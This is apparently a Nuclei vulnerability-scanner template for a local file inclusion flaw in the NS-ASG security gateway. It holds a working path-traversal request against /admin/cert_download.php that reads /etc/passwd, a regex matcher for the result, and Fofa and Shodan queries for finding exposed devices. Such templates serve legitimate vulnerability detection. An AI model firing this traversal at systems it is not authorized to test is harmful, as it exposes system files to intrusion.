id: nsasg-arbitrary-file-read

info:
  name: NS ASG - Local File Inclusion
  author: pikpikcu,ritikchaddha
  severity: high
  description: NS ASG is vulnerable to local file inclusion.
  reference:
    - https://zhuanlan.zhihu.com/p/368054963
    - http://wiki.xypbk.com/Web安全/网康%20NS-ASG安全网关/网康%20NS-ASG安全网关%20任意文件读取漏洞.md
  metadata:
    max-request: 2
    fofa-query: app="网康科技-NS-ASG安全网关"
    shodan-query: http.title:“NS-ASG”
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  tags: nsasg,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "$certfile"
          - "application/pdf"
        condition: and